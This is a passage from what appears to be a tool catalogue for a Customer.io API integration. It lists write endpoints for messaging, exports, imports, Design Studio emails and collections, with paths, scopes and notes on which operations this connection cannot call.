top-level `integrations` object has no effect. NOT CALLABLE with this integration: a Data Pipelines operation on cdp.customer.io, which needs a Data Pipelines source write key (or the workspace's Site ID + Track API Key pair, which that host also accepts) rather than the App API Key this connection holds. POST /api/v1/customerio/cdp/batch. Scopes: api. customerio_post_group (write) — Group calls add people to a group. Groups could be a companies, accounts, online classes, and so on. How groups are represented in your destination depends on the destination. Some destinations have concepts of "groups"; Customer.io's destination calls groups "objects." When you use our libraries, you'll typically only provide an ID for the user, the `groupId`, and `traits`. The libraries fill in the rest of the payload automatically. NOT CALLABLE with this integration: a Data Pipelines operation on cdp.customer.io, which needs a Data Pipelines source write key (or the workspace's Site ID + Track API Key pair, which that host also accepts) rather than the App API Key this connection holds. POST /api/v1/customerio/cdp/group. Scopes: api. customerio_post_identify (write) — Identifies a person and assigns `traits` to them. In most cases, you'll identify people with a `userId` or an `anonymousId`. But when you use Customer.io as a destination, you can pass an empty `userId` or `anonymousId`, and identify people by their `email` trait. When you use our libraries, you'll typically only provide an ID and `traits`. The libraries fill in the rest of the payload automatically. NOT CALLABLE with this integration: a Data Pipelines operation on cdp.customer.io, which needs a Data Pipelines source write key (or the workspace's Site ID + Track API Key pair, which that host also accepts) rather than the App API Key this connection holds. POST /api/v1/customerio/cdp/identify. Scopes: api. customerio_post_page (write) — Sends a page view event. If you use our JavaScript source, it automatically records `page` events whenever it loads (every page). If you use a single-page app, you'll need to call the `page` method people change routes. The request consists of the page `name` and additional properties about the page. If you use our JavaScript library, the page name and URL are automatically gathered and passed as event properties. When you use our libraries, you'll typically only provide a user ID/anonymous ID and the `name` of the page. The libraries fill in the rest of the payload automatically. NOT CALLABLE with this integration: a Data Pipelines operation on cdp.customer.io, which needs a Data Pipelines source write key (or the workspace's Site ID + Track API Key pair, which that host also accepts) rather than the App API Key this connection holds. POST /api/v1/customerio/cdp/page. Scopes: api. customerio_post_screen (write) — Sends a screen view event for mobile devices. Screen events help you understand the screens that people use in your app. You should send a screen call whenever a user requests a page of your app. NOT CALLABLE with this integration: a Data Pipelines operation on cdp.customer.io, which needs a Data Pipelines source write key (or the workspace's Site ID + Track API Key pair, which that host also accepts) rather than the App API Key this connection holds. POST /api/v1/customerio/cdp/screen. Scopes: api. customerio_post_track (write) — Send an event associated with a person. The `track` call is how you record the things that people do on your website or in your app. While this endpoint takes any `event` name you want to send, Customer.io also supports "semantic events." These are specific `event` names (like `User Deleted` or `Device Created or Updated`) that perform special operations in Customer.io like deleting people, adding mobile devices to profiles, and so on. See the Customer.io Semantic Events documentation (/integrations/api/cdp/customerio/) for complete schemas and examples. When you use our libraries, you'll typically only provide an `event`, an ID for the person, and `properties`. The libraries fill in the rest of the payload automatically. NOT CALLABLE with this integration: a Data Pipelines operation on cdp.customer.io, which needs a Data Pipelines source write key (or the workspace's Site ID + Track API Key pair, which that host also accepts) rather than the App API Key this connection holds. POST /api/v1/customerio/cdp/track. Scopes: api. customerio_post_unsubscribe_by_delivery_id (write) — This endpoint lets you set a global unsubscribed status outside of the subscription pathways native to Customer.io. If you use custom unsubscribe links (/journeys/people/multiple-subscription-types), you can host a custom unsubscribe page and use this API to send unsubscribe data, associated with a particular delivery, to Customer.io. NOTE: This endpoint requires a `Content-type: application/json` header. This endpoint does not require an `Authorization` header. Your request sets a person's `unsubscribed` attribute to `true`, attributes their unsubscribe request to the individual email/delivery that they unsubscribed from, and lets you segment your audience based on `email_unsubscribed` events when you use a custom subscription center. If you use a custom subscription center (managing subscriptions to various types of messages with custom attributes), this request *does not* set a custom attribute. You must perform a separate request (/integrations/api/track/tag/track-customers/identify/) to update a person's custom subscription attributes. NOT CALLABLE with this integration: the recipient-facing unsubscribe-link handler, which exists only on track.customer.io and 404s on the App host this connection dials. It needs no credential at all (the delivery id is the capability), so this is a host limit rather than a missing key. POST /api/v1/customerio/unsubscribe/{delivery_id}. Scopes: api. customerio_post_v1_assets_folders (write) — Creates a new folder for organizing file assets. Folder names must be unique within the same parent folder. POST /api/v1/customerio/v1/assets/folders. Scopes: api. customerio_post_v1_campaigns_by_broadcast_id_triggers (write) — Trigger a broadcast (not a one-time send) and optionally provide data to populate liquid placeholders in the message. The shape of the request depends on how you define your audience: default (the recipients set in the UI), custom filter conditions, a list of emails, a list of customer IDs, a map of users, or a data file. You can only trigger broadcasts to send to people you've already added to your workspace. A broadcast cannot add or identify new people. If you reference people who don't exist in your broadcast audience, the broadcast will fail by default. You can override this behavior by setting the `email_ignore_missing` and/or `id_ignore_missing` flags to `true`. The broadcast will skip over any people who don't exist in your workspace and send to the remaining recipients. You can reference properties in the `data` object in your broadcast using liquid—`{{trigger.}}`. If your broadcast produces a `422` error, you can get more information about the errors (/integrations/api/app/tag/broadcasts/broadcastErrors/) to see what went wrong. This endpoint is rate-limited to one request every 10 seconds. After exceeding this, you'll receive a status of `429`. Learn more about API-triggered broadcast limits (/integrations/api/app/tag/send-messages/) above. Broadcasts are optimized to send messages to a large audience and not for one-to-one interactions. Use our transactional API (/integrations/api/app/tag/send-messages/sendEmail/) or event-triggered automations (/journeys/send/campaigns/triggers/#event-trigger) to respond to your audience on an individual, one-to-one basis. POST /api/v1/customerio/v1/campaigns/{broadcast_id}/triggers. Scopes: api. customerio_post_v1_collections (write) — Create a new collection and provide the `data` that you'll access from the collection or the `url` that you'll download CSV or JSON data from. Note: A collection cannot be more than 10 MB in size. No individual row in the collection can be more than 10 KB. POST /api/v1/customerio/v1/collections. Scopes: api. customerio_post_v1_customers (write) — Provide a filter to search for people in your workspace. Your filter can filter people by segment (using the Segment ID) and attribute values; when you filter by attributes, you can use `eq` (matching an attribute value) or `exists` (matching when a person has the attribute). Use the `and` array, `or` array, and `not` object to create a complex filter. The `not` selector is an object that takes a single filter. Returns arrays of `identifiers` and `ids`. In general, you should rely on the newer `identifiers` array, which contains more complete information about each person captured by the filter in your request, than the `ids` array, which only contains `id` values. You can return up to 1000 people per request. If you want to return a larger set of people in a single request, you may want to use the `/exports` (/integrations/api/app/tag/exports/) API instead. POST /api/v1/customerio/v1/customers. Scopes: api. customerio_post_v1_customers_attributes (write) — Return attributes and devices for up to 100 customers by ID. If an ID in the request does not exist, the response omits it. POST /api/v1/customerio/v1/customers/attributes. Scopes: api. customerio_post_v1_data_index_attributes (write) — Attributes are customer data like their name and email. Use this endpoint to add new attributes or update existing attributes in your workspace. To add attributes to customers, use our Pipelines or Track APIs. NOTE: If you add new attributes, they will not appear in your Data Index (/journeys/people/find/using-data-index/) until you've added it to a customer's profile. Add descriptions for attributes so our AI tools can better understand your data (/ai/cio-with-llms/). For instance, this influences how our segment builder generates conditions with AI. If you're on a Premium plan, you can also specify whether an attribute is sensitive or not (/accounts/settings/team/intro-account-access/#hide-sensitive-attributes). Then Admins and Workspace Admins can decide which teammates to hide sensitive data from. POST /api/v1/customerio/v1/data_index/attributes. Scopes: api. customerio_post_v1_data_index_events (write) — Events are actions your customers have performed. Use this endpoint to add new events or update existing events in your workspace. To associate events with customers, use our Pipelines or Track APIs. NOTE: If you add new events, they will not appear in your Data Index (/journeys/people/find/using-data-index/) until you've associated it with a customer. Add descriptions for events so our AI tools can better understand your data (/ai/cio-with-llms/). For instance, this influences how our segment builder generates conditions with AI. POST /api/v1/customerio/v1/data_index/events. Scopes: api. customerio_post_v1_design_studio_components (write) — Creates a custom component. POST /api/v1/customerio/v1/design_studio/components. Scopes: api. customerio_post_v1_design_studio_emails (write) — Create an email. Note, you can create an email without filling out all required fields for sending. You can fill in the envelope, like a to and from address, with this method, but that's not required until you link it to a workflow like an automation. POST /api/v1/customerio/v1/design_studio/emails. Scopes: api. customerio_post_v1_design_studio_emails_by_id_inbox_previews (write) — Initiate one or more inbox previews for an email. This uses inbox preview credits; check your balance with Get preview credit balance (/integrations/api/app/tag/design-studio-emails/getInboxPreviewCredits/). Learn how billing for inbox previews work before you call this endpoint. (/accounts/billing/inbox-previews/) Use List emails (/integrations/api/app/tag/design-studio-emails/listEmails/) to get your email's ID. If the email has translations, call List email translations (/integrations/api/app/tag/design-studio-emails/listEmailTranslations/) to get the ID of the language variant you want a preview of. You can retrieve client IDs from List inbox preview options (/integrations/api/app/tag/design-studio-emails/listInboxPreviewClients/). This call does not return the preview file. It returns a `run_id`; poll Get an inbox preview job (/integrations/api/app/tag/design-studio-emails/getInboxPreviewJob/) with it, then fetch each tile's capture URL from that response. Submitting the same email, content, and devices again on the same UTC day returns the existing run instead of starting a new one, with `replayed` set to `true` and no second charge. The same happens the next day if that run is still processing, or if a concurrent identical request gets there first. Resubmitting a stuck run is safe and free—it hands you the same run back rather than starting a second one. POST /api/v1/customerio/v1/design_studio/emails/{id}/inbox_previews. Scopes: api. customerio_post_v1_design_studio_emails_by_id_languages (write) — Creates a new translation for an email. If content, envelope, and/or transformers are omitted, the values are copied from the default (parent) email. POST /api/v1/customerio/v1/design_studio/emails/{id}/languages. Scopes: api. customerio_post_v1_design_studio_emails_by_id_link (write) — Link a Design Studio email to a workflow: a transactional message, a one-time send, an automation, or an API-triggered broadcast. After you link an email, publish it (/integrations/api/app/tag/design-studio/publishEmail/) to push the content live. You can only link an email to one workflow or action at a time. If the workflow or action is already linked to a *different* Design Studio email, the request fails with a `409` unless you pass `"force": true`, which replaces (and unlinks) the other email. POST /api/v1/customerio/v1/design_studio/emails/{id}/link. Scopes: api. customerio_post_v1_design_studio_emails_by_id_preview (write) — Returns an email with liquid fully evaluated against data you provide. The response includes the final HTML as a recipient would see it, along with liquid errors. Omit the body or send `{}` to render your fallback values: a variable with a `default` filter renders its fallback, and each variable without one reports an error in the response's `errors` object. The render, preview, review, link, and publish endpoints share a rate limit of 5 requests per second per workspace. POST /api/v1/customerio/v1/design_studio/emails/{id}/preview. Scopes: api. customerio_post_v1_design_studio_emails_by_id_publish (write) — Publish a linked Design Studio email. This pushes its current content to the workflow it's linked to. You must link an email to a workflow before you can publish it. Publishing pushes updates to all language variants: the default language and all of the translations. For a single-language email, the publish runs inline and returns `"status": "done"` with the resulting template version mappings. For a multi-language email, the publish may take longer; if it doesn't finish within the request window, the response returns `"status": "pending"` along with a `publish_id` you can poll with Get publish status (/integrations/api/app/tag/design-studio-emails/getPublishStatus/). POST /api/v1/customerio/v1/design_studio/emails/{id}/publish. Scopes: api. customerio_post_v1_design_studio_emails_by_id_versions (write) — Saves a version of the email's current content, envelope, and any component dependencies it references. If you need to revert to a previous version, use Restore an email version (/integrations/api/app/tag/design-studio-emails/restoreVersion/). If the email is identical to the most recent version, this returns that version with `"created": false` instead of saving a duplicate. If the code of a referenced custom component changes, you can save a new version of the email with the latest component changes; however, the code diff in Design Studio will show no change because the component code isn't compiled in that view. POST /api/v1/customerio/v1/design_studio/emails/{id}/versions. Scopes: api. customerio_post_v1_design_studio_emails_by_id_versions_by_version_id_restore (write) — Returns the email to a saved version. This restores only the email itself; if the code for a referenced custom component changed since this version was saved, the latest component code renders in Design Studio, not the original. This only edits the draft in Design Studio. If you already linked the email to a workflow, you need to publish it (/integrations/api/app/tag/design-studio-emails/publishEmail/) to push the restored content live. POST /api/v1/customerio/v1/design_studio/emails/{id}/versions/{version_id}/restore. Scopes: api. customerio_post_v1_design_studio_folders (write) — Create a new folder at the root level or under a parent folder. To create a child folder, you need the UUID of the parent folder, which you can retrieve with List folders (/integrations/api/app/tag/design-studio/listFolders/). POST /api/v1/customerio/v1/design_studio/folders. Scopes: api. customerio_post_v1_esp_suppression_by_suppression_type_by_email_address (write) — Suppress an email address at the email service provider (ESP). Addresses suppressed this way are only suppressed through the ESP; these adresses are _not_ suppressed in Customer.io, so the person can remain in your workspace (though emails to the address would be blocked at the ESP). POST /api/v1/customerio/v1/esp/suppression/{suppression_type}/{email_address}. Scopes: api. customerio_post_v1_exports_customers (write) — Provide filters and attributes describing the customers you want to export. This endpoint returns export metadata; use the `/exports/{export_id}/endpoint` to download your export. POST /api/v1/customerio/v1/exports/customers. Scopes: api. customerio_post_v1_exports_deliveries (write) — Provide filters for the one-time send, automation, or action you want to return delivery information from. This endpoint starts an export, but you cannot download your export from this endpoint. Use the `/exports/{export_id}` endpoint to download your export. Use the `start` and `end` to find messages within a time range. If your request doesn't include `start` and `end` parameters, we'll return the most recent 6 months of messages. If your `start` and `end` range is more than 12 months, we'll return 12 months of data from the most recent timestamp in your request. Timestamps reflect when deliveries were created in our system, not when they were actually sent to recipients. There may be a delay between creation and sending. POST /api/v1/customerio/v1/exports/deliveries. Scopes: api. customerio_post_v1_imports (write) — This endpoint lets you upload a CSV file containing people, events, objects, or relationships. It provides a handy way of adding and updating them in bulk. Uploading people, objects, or relationships is like performing an `identify` call (/integrations/api/track/tag/track_v2/entity/) for each row in your CSV; uploading events is like performing a `track` call (/integrations/api/track/tag/track-events/track/). You'll need to provide us the public URL of your CSV as a part of this operation. We recommend that you host your CSVs from short-lived URLs. Ideally, your URLs will expire 2 hours after you initiate an import so that your customers' information doesn't remain publicly available after you've uploaded it to us. Check out the CSV requirements based on what you're importing: people (/journeys/people/uploading-people/#csv-requirements), events (/journeys/people/uploading-people/#event-csv-requirements), and objects or relationships (/journeys/objects-data/objects/import-objects/#csv-requirements). This endpoint performs some basic validation on the request and then queues the import for processing. The import happens in multiple stages after your request, and may even fail. You'll need to lookup the status of the import (/integrations/api/app/tag/imports/getImport/) to check on its progress. Records in your CSV might result in errors or warnings during the import. We make the errors and warnings available in CSV files that you can download via our export endpoints. Lookup your import (/integrations/api/app/tag/imports/getImport/) to get download URLs for error and warning reports. POST /api/v1/customerio/v1/imports. Scopes: api. customerio_post_v1_live_notifications_end (write) — End a running activity, referenced by its `instance_id`. On iOS, the system dismisses the activity from the Lock Screen. On Android, the SDK normally renders the final content as a non-ongoing notification; it cancels the notification only when there's no final notification to render. You can include a final `content_state` to show before the activity ends. `push_payload` is optional on the end call, whether Customer.io delivers directly through APNs or relays through Firebase Cloud Messaging (FCM). If you include a `push_payload.alert`, it must contain both a `title` and a `body`. POST /api/v1/customerio/v1/live_notifications/end. Scopes: api. customerio_post_v1_live_notifications_start (write) — Start a live notification for a profile. Customer.io mints an `instance_id` for the new activity and returns it. You'll use this ID to update, end, or check the status of the activity. On iOS (/integrations/sdk/ios/live-activities/set-up/#step-5-start-an-activity), this delivers a push-to-start event through APNs, so the person's device must have a registered push-to-start token for the `notification_type` (the SDK registers one automatically when your app registers the activity type). Push-to-start requires iOS 17.2 or later. iOS starts also require a `push_payload.alert` with a title and body. On Android (/integrations/sdk/android/live-notifications/set-up/#step-4-start-a-notification), this delivers an FCM data message, which the SDK renders without your app being open. POST /api/v1/customerio/v1/live_notifications/start. Scopes: api. customerio_post_v1_live_notifications_update (write) — Push a new content state to a running activity, referenced by its `instance_id`. The device re-renders the activity from the state you send. Send the full content state on every update, not just the fields that changed—the platforms don't support partial updates. `push_payload` is optional on updates, whether Customer.io delivers directly through APNs or relays through Firebase Cloud Messaging (FCM). If you include a `push_payload.alert`, it must contain both a `title` and a `body`. POST /api/v1/customerio/v1/live_notifications/update. Scopes: api. customerio_post_v1_newsletters (write) — Create a one-time send (referred to as a "newsletter" in our APIs) and optionally schedule it or send it immediately. To send it immediately, set `send_now` to `true`. To schedule for later, set `scheduled_at` to a Unix timestamp in the future. If you don't set either, it's created as a draft. If you enabled a subscription center (/journeys/channels/subscriptions/center/#enable-sub-center) in your workspace, `subscription_topic_id` is required. Use the subscription center endpoint (/integrations/api/app/tag/subscription-center/getTopics/) to find IDs. Use standard HTML/CSS for the `body` of an email; this endpoint can't pull in global style variables or render our Design Studio's component syntax. You can create Design Studio emails through other endpoints (/integrations/api/app/tag/design-studio/). All requests must be less than 1 MB. POST /api/v1/customerio/v1/newsletters. Scopes: api. customerio_post_v1_newsletters_by_newsletter_id_language (write) — Add a language variant to a one-time send (referred to as a "newsletter" in our APIs). If you omit optional fields, the values from the default template are copied over untranslated. Make sure you translate all aspects of your default template. You can't add language variants to a one-time send that has already been sent. You can't manage emails created with the drag-and-drop editor or Design Studio via this endpoint—use Create an email translation (/integrations/api/app/tag/design-studio/createEmailTranslation/) for Design Studio emails. If it has A/B tests, use Add a translation to a one-time send test group (/integrations/api/app/tag/newsletter-variants/createNewsletterTestLanguageVariant/) instead. POST /api/v1/customerio/v1/newsletters/{newsletter_id}/language. Scopes: api. customerio_post_v1_newsletters_by_newsletter_id_schedule (write) — Schedule a one-time send (referred to as a "newsletter" in our APIs) to send at a specific time. It must be in a draft state. If it has already been sent, you'll get a `400` error. If it's already scheduled, this endpoint updates the scheduled time. The recipients are defined when you create/update the one-time send. If you're not sure who will receive it, you can use the List one-time sends (/integrations/api/app/tag/newsletters/listNewsletters/) endpoint to get a list of one-time sends and their recipients. POST /api/v1/customerio/v1/newsletters/{newsletter_id}/schedule. Scopes: api. customerio_post_v1_newsletters_by_newsletter_id_send (write) — Trigger a one-time send (referred to as a "newsletter" in our APIs) immediately. It must be in a draft state. If it has already been sent, you'll get a `400` error. The recipients are defined when you create/update the one-time send. If you're not sure who will receive it, you can use the List one-time sends (/integrations/api/app/tag/newsletters/listNewsletters/) endpoint to get a list of one-time sends and their recipients. To reschedule a one-time send, use the Schedule a one-time send (/integrations/api/app/tag/send-messages/scheduleNewsletter/) endpoint instead. POST /api/v1/customerio/v1/newsletters/{newsletter_id}/send. Scopes: api. customerio_post_v1_newsletters_by_newsletter_id_test_group_by_test_group_id_language (write) — Add a language variant to a specific A/B test group in a one-time send (referred to as a "newsletter" in our APIs). The new variant is a copy of the default template in the test group with the content you provide. The payload the endpoint accepts depends on the parent one-time send's channel type: if it's an email, the payload will be an email variant; if it's an SMS, the payload will be an SMS variant. You cannot add language variants to a one-time send that has already been sent, or to one-time sends created with the drag-and-drop editor or Design Studio. POST /api/v1/customerio/v1/newsletters/{newsletter_id}/test_group/{test_group_id}/language. Scopes: api. customerio_post_v1_newsletters_by_newsletter_id_test_groups (write) — Create a new A/B test group for a one-time send (referred to as a "newsletter" in our APIs). This duplicates the existing one-time send's content into a new test group, allowing you to test different versions of your message. This endpoint does not require a request body. The new test group is created as a copy of the existing content. You cannot add test groups to a one-time send that has already been sent. POST /api/v1/customerio/v1/newsletters/{newsletter_id}/test_groups. Scopes: api. customerio_post_v1_objects (write) — Use a set of filter conditions to find objects in your workspace. Returns a list of object IDs that you can use to look up object attributes, or to create or modify objects. The list is paged if you have a large number of objects. You can set the `limit` for the number of objects returned, and use the `start` to page through the results. It's possible that you'll see duplicate entries across pages. If you want to export objects or relationships, you may want to use the export feature in our UI to return complete results. POST /api/v1/customerio/v1/objects. Scopes: api. customerio_post_v1_reporting_webhooks (write) — Create a new webhook configuration. POST /api/v1/customerio/v1/reporting_webhooks. Scopes: api. customerio_post_v1_segments (write) — Create a manual segment with a name and a description. This request creates an empty segment. POST /api/v1/customerio/v1/segments. Scopes: api. customerio_post_v1_send_email (write) — Send a transactional email. While not strictly required, we recommend that you include a `transactional_message_id` in your request. If you don't, Customer.io attributes metrics to `"transactional_message_id": 1`, so multiple messages can roll up under the same ID. If this is the first time you send a message with the API, you can include the `auto_create` parameter along with a `transactional_message_id` string to create a record for you. You can also include a `body`, `subject`, and `from` values to override the message template. Or, if you create your message entirely through the API, you *must* include these values because your `transactional_message_id` won't have any content. See Examples and API parameters (/journeys/send/transactional/email/#auto-create-transactional-message-records) for more details. POST /api/v1/customerio/v1/send/email. Scopes: api. customerio_post_v1_send_in_app (write) — Send a transactional in-app message. In-app messages render in your application through the Customer.io SDK to the devices associated with the person you target by `identifiers`. You send a message using a `transactional_message_id` for an in-app message template that you've set up in the user interface. The `transactional_message_id` can be either the numerical ID for the template or the *Trigger Name* that you assigned the template. You can find your `transactional_message_id` from the code sample in the Overview tab for your transactional message in the user interface, or you can look up a list of your transactional messages through the App API (/integrations/api/app/tag/transactional/). Note: Your workspace must have in-app messaging enabled. Requests sent to a workspace without the in-app capability return `403`. POST /api/v1/customerio/v1/send/in_app. Scopes: api. customerio_post_v1_send_inbox_message (write) — Send a transactional inbox message. Inbox messages deliver raw JSON payloads to your application through our JavaScript SDK, allowing you to build custom notification centers, message feeds, and other UI components. You send a message using a `transactional_message_id` for an inbox message template created in the user interface. The `transactional_message_id` can be either the numerical ID for the template or the *Trigger Name* that you assigned the template. You can find your `transactional_message_id` from the code sample in the Overview tab for your transactional message in the user interface, or you can look up a list of your transactional messages through the App API (/integrations/api/app/tag/transactional/). Note: Inbox messages are currently available for web platforms only and require the Customer.io In-App Plugin to be installed. POST /api/v1/customerio/v1/send/inbox_message. Scopes: api. customerio_post_v1_send_push (write) — Send a transactional push. You send a message using a `transactional_message_id` for a transactional push message template composed in the user interface. You can optionally override any of the template values at send time. The `transactional_message_id` can be either the numerical ID for the template or the *Trigger Name* that you assigned the template. You can find your `transactional_message_id` from the code sample in the Overview tab for your transactional message in the user interface, or you can look up a list of your transactional messages through the App API (/integrations/api/app/tag/transactional/). POST /api/v1/customerio/v1/send/push. Scopes: api. customerio_post_v1_send_sms (write) — Send a transactional SMS message. To send a message, you'll need to provide a `transactional_message_id`. This is either the numerical ID of your transactional message template or the *Trigger Name* that you assigned the template. You can find your `transactional_message_id` from the code sample in the Overview tab for your transactional message in the user interface, or you can look up a list of your transactional messages through the App API (/integrations/api/app/tag/transactional/). POST /api/v1/customerio/v1/send/sms. Scopes: api. customerio_post_v1_send_whatsapp (write) — Send a transactional WhatsApp message. To use this endpoint, you must be integrated with WhatsApp Business (/messaging/send/transactional/whatsapp/#before-you-begin), not Twilio. Then you need to create the template in the UI and have it approved by WhatsApp/Meta (/messaging/design-studio/whatsapp-design-studio/) before sending it. To send a message, you need to provide a `transactional_message_id`. This is either the numerical ID of your transactional message template or the *Trigger Name* that you assigned the template. You can find your `transactional_message_id` from the code sample in the Overview tab for your transactional message in the user interface, or you can look up a list of your transactional messages through the App API (/integrations/api/app/tag/transactional/listTransactional/). POST /api/v1/customerio/v1/send/whatsapp. Scopes: api. customerio_post_v1_snippets (write) — Create a new snippet. If a snippet with that name already exists, we'll return a `422` error. If the value contains Liquid, we validate it. POST /api/v1/customerio/v1/snippets. Scopes: api. customerio_put_api_v1_customers_by_identifier (write) — Adds or updates a person. If your request does _not_ include `cio_id` and the identifiers in the request body do not belong to a person, your request adds a person. If a person already exists with the identifier in the request path, your request updates that person. If the identifier in the path does not belong to a person but you use an identifier in your request body that _does_ belong to a person, your request updates the person and assigns them the identifier in the path. If the identifier in the path and request body belong to different people, your request may return `200 OK` but produce an *Attribute Update Failure* for the identifier in the payload. If you want to update a person's identifiers after they are set, you must reference them using their `cio_id` in the format `cio_`—unless when updating an `email` with the Allow updates to email using ID (/accounts/workspaces#update-email-with-id) setting enabled. You can get the `cio_id` value from the App API (/integrations/api/app/tag/customers/). If your request includes a `cio_id`, we'll attempt to update that person, including any identifiers in the request. If the `cio_id` does not exist or belongs to a person who was deleted, we'll drop the request. For workspaces using `email` as an identifier, `email` is case-insensitive. The addresses `person@example.com` and `PERSON@example.com` would represent the same person. Tip: If your workspace identifies people by both `email` and `id`, and you send an identify call with a new `id` but an `email` that already belongs to someone, we update the existing person rather than creating a new one. The existing person gets the new `id`. This is a common source of confusion during testing—if you're generating new IDs but reusing the same email address, you're updating one person repeatedly, not creating multiple people. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. PUT /api/v1/customerio/api/v1/customers/{identifier}. Scopes: api. customerio_put_api_v1_customers_by_identifier_devices (write) — Customers can have more than one device. Use this method to add iOS and Android devices to, or update devices for, a customer profile. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. PUT /api/v1/customerio/api/v1/customers/{identifier}/devices. Scopes: api. customerio_put_v1_assets_files_by_id (write) — Updates the name and/or parent folder of a file asset. The file itself (path, size) cannot be changed. At least one of `name` or `parent_folder_id` must be provided. PUT /api/v1/customerio/v1/assets/files/{id}. Scopes: api. customerio_put_v1_assets_folders_by_id (write) — Updates the name and/or parent folder of an existing folder. At least one of `name` or `parent_folder_id` must be provided. Moving a folder into itself or one of its descendants is not allowed (cycle detection). PUT /api/v1/customerio/v1/assets/folders/{id}. Scopes: api. customerio_put_v1_broadcasts_by_broadcast_id_actions_by_action_id (write) — Update the contents of a broadcast action, including the body of messages or HTTP requests. NOTE You cannot manage content made with Design Studio with this endpoint. Use the Design Studio APIs (/integrations/api/app/tag/design-studio/) instead. PUT /api/v1/customerio/v1/broadcasts/{broadcast_id}/actions/{action_id}. Scopes: api. customerio_put_v1_broadcasts_by_broadcast_id_actions_by_action_id_language_by_language (write) — Update a translation of a specific broadcast action, including the body of messages or HTTP requests. NOTE You cannot manage content made with Design Studio with this endpoint. Use the Design Studio APIs (/integrations/api/app/tag/design-studio/) instead. PUT /api/v1/customerio/v1/broadcasts/{broadcast_id}/actions/{action_id}/language/{language}. Scopes: api. customerio_put_v1_campaigns_by_campaign_id_actions_by_action_id (write) — Update the contents of an automation action, including the body of messages and HTTP requests. NOTE: You can't manage content made with Design Studio with this endpoint. Use the Design Studio APIs (/integrations/api/app/tag/design-studio/) instead. PUT /api/v1/customerio/v1/campaigns/{campaign_id}/actions/{action_id}. Scopes: api. customerio_put_v1_campaigns_by_campaign_id_actions_by_action_id_language_by_language (write) — Update the contents of a language variant of an automation action, including the body of the messages and HTTP requests. NOTE: You can't manage content made with Design Studio with this endpoint. Use the Design Studio APIs (/integrations/api/app/tag/design-studio/) instead. PUT /api/v1/customerio/v1/campaigns/{campaign_id}/actions/{action_id}/language/{language}. Scopes: api. customerio_put_v1_collections_by_collection_id (write) — Update the `name` or replace the contents of a collection. Updating the `data` or `url` for your collection fully replaces the contents of the collection. Note: * If you reference your collection by name in active automation messages, changing the name of the collection will cause references to the previous name to return an empty data set. * A collection cannot be more than 10 MB in size. No individual row in the collection can be more than 10 KB. PUT /api/v1/customerio/v1/collections/{collection_id}. Scopes: api. customerio_put_v1_collections_by_collection_id_content (write) — Replace the contents of a collection (the `data` from when you created or updated a collection). The request is a free-form object containing the keys you want to reference from the collection and the corresponding values. This request replaces the current contents of the collection entirely. If you don't want to update the contents directly—you want to change the `name` or data `url` for your collection, use the update a collection (/integrations/api/app/tag/collections/updateCollection/) endpoint. Note: A collection cannot be more than 10 MB in size. No individual row in the collection can be more than 10 KB. PUT /api/v1/customerio/v1/collections/{collection_id}/content. Scopes: api. customerio_put_v1_customers_by_customer_id_optouts (write) — Opt a person out of, or back in to, specific senders and channels. Provide one entry per sender/channel in the `optouts` array. Set `optout` to `true` to opt the person out of a sender, or `false` to opt them back in. The `channel` field is optional and defaults to `sms`. This request is processed asynchronously; it may take a moment for changes to reflect in read requests. PUT /api/v1/customerio/v1/customers/{customer_id}/optouts. Scopes: api. customerio_put_v1_design_studio_components_by_id (write) — Update part of a component: its name, tag, folder, or content. PUT /api/v1/customerio/v1/design_studio/components/{id}. Scopes: api. customerio_put_v1_design_studio_emails_by_id (write) — Update part of an email: an email's name, template status, folder, content, envelope, or transformers. Note, this does not publish your email; if the email is linked to a workflow like an automation, you still need to click publish to make the changes live. PUT /api/v1/customerio/v1/design_studio/emails/{id}. Scopes: api. customerio_put_v1_design_studio_emails_by_id_languages_by_language (write) — Update part of an email translation: the content, envelope, or transformers for a specific email translation. Note, this does not publish your email; if the email is linked to a workflow like an automation, you still need to click publish to make the changes live. PUT /api/v1/customerio/v1/design_studio/emails/{id}/languages/{language}. Scopes: api. customerio_put_v1_design_studio_folders_by_id (write) — Update part of a folder: the name and/or the folder it belongs to. If you move a folder, all files stay nested in the folder. PUT /api/v1/customerio/v1/design_studio/folders/{id}. Scopes: api. customerio_put_v1_newsletters_by_newsletter_id_contents_by_content_id (write) — Update the content of a one-time send (referred to as a "newsletter" in our APIs): the default message, a test variant in an A/B test group, or a translation. For an email, you can also update the envelope: from address, subject line, etc. NOTE: You cannot manage content made with the drag-and-drop editor via API, and you cannot use this endpoint to update Design Studio emails. You can, however, manage Design Studio content with other endpoints (/integrations/api/app/tag/design-studio/). You also can't update in-app or inbox message content through the API—use the message editor instead. PUT /api/v1/customerio/v1/newsletters/{newsletter_id}/contents/{content_id}. Scopes: api. customerio_put_v1_newsletters_by_newsletter_id_language_by_language (write) — Update the translation of a one-time send (referred to as a "newsletter" in our APIs) variant. If it includes A/B tests, use Update a translation in a one-time send test group (/integrations/api/app/tag/newsletter-variants/updateNewsletterTestTranslation/). NOTE: You cannot manage content made with Design Studio with this endpoint. Use the Design Studio APIs (/integrations/api/app/tag/design-studio/) instead. You also can't update in-app or inbox message content through the API—change it in the message editor. PUT /api/v1/customerio/v1/newsletters/{newsletter_id}/language/{language}. Scopes: api. customerio_put_v1_newsletters_by_newsletter_id_test_group_by_test_group_id_language_by_language (write) — Update the translation of a one-time send (referred to as a "newsletter" in our APIs) variant in an A/B test. You can retrieve a list of `test_group_ids` from List a one-time send's A/B test groups (/integrations/api/app/tag/newsletter-variants/getNewsletterTestGroups/). NOTE: You cannot manage content made with Design Studio with this endpoint. Use the Design Studio APIs (/integrations/api/app/tag/design-studio/) instead. You also can't update in-app or inbox message content through the API—change it in the message editor. PUT /api/v1/customerio/v1/newsletters/{newsletter_id}/test_group/{test_group_id}/language/{language}. Scopes: api. customerio_put_v1_reporting_webhooks_by_webhook_id (write) — Update the configuration of a reporting webhook. Turn events on or off, change the webhook URL, etc. PUT /api/v1/customerio/v1/reporting_webhooks/{webhook_id}. Scopes: api. customerio_put_v1_snippets (write) — In your payload, you'll pass a `name` and `value`. Snippet names are unique. If the snippet `name` does not exist, we'll create a new snippet. If the `name` exists, we'll update the existing snippet. PUT /api/v1/customerio/v1/snippets. Scopes: api. customerio_put_v1_transactional_by_transactional_id_content_by_content_id (write) — Update the body of a transactional email. This fully overwrites your existing transactional message. We'll use your updated content for any future transactional requests (`/v1/send/email`), 